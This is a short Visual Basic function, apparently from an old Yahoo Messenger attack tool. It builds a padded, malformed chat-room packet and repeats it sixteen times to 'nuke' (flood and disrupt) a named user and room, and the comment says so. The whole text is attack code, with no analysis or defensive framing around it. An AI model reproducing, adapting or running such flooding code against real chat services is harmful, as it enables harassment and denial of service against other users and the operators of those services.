Public Function SpamChat(ByVal YUser As String, ByVal YRoom As String) As String
Dim SPam As String
'Nuke Chat
SPam = YMSGPacket("1À€" & YUser & "À€104À€" & YRoom & String(470, " ") & "À€117À€" & RandomGen("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM", 1) & "À€124À€1À€", String(4, 0), String(4, 0), 168)
SpamChat = SPam + SPam + SPam + SPam + SPam + SPam + SPam + SPam + SPam + SPam + SPam + SPam + SPam + SPam + SPam + SPam
End Function